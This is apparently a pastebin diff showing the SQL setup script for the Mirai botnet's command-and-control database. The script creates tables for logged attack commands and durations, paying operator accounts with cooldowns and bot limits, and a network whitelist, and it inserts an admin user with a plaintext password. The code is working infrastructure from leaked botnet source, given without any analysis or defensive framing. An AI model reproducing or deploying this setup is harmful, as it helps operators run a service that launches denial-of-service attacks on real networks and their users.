View difference between Paste ID: vkMF2Lbq and BsSWnK7i
SHOW: | | - or go back to the newest paste.
1
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
2
3
CREATE DATABASE mirai;
4
5
CREATE TABLE `history` (
6
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
7
  `user_id` int(10) unsigned NOT NULL,
8
  `time_sent` int(10) unsigned NOT NULL,
9
  `duration` int(10) unsigned NOT NULL,
10
  `command` text NOT NULL,
11
  `max_bots` int(11) DEFAULT '-1',
12
  PRIMARY KEY (`id`),
13
  KEY `user_id` (`user_id`)
14
);
15
16
CREATE TABLE `users` (
17
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
18
  `username` varchar(32) NOT NULL,
19
  `password` varchar(32) NOT NULL,
20
  `duration_limit` int(10) unsigned DEFAULT NULL,
21
  `cooldown` int(10) unsigned NOT NULL,
22
  `wrc` int(10) unsigned DEFAULT NULL,
23
  `last_paid` int(10) unsigned NOT NULL,
24
  `max_bots` int(11) DEFAULT '-1',
25
  `admin` int(10) unsigned DEFAULT '0',
26
  `intvl` int(10) unsigned DEFAULT '30',
27
  `api_key` text,
28
  PRIMARY KEY (`id`),
29
  KEY `username` (`username`)
30
);
31
32
CREATE TABLE `whitelist` (
33
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
34
  `prefix` varchar(16) DEFAULT NULL,
35
  `netmask` tinyint(3) unsigned DEFAULT NULL,
36
  PRIMARY KEY (`id`),
37
  KEY `prefix` (`prefix`)
38
);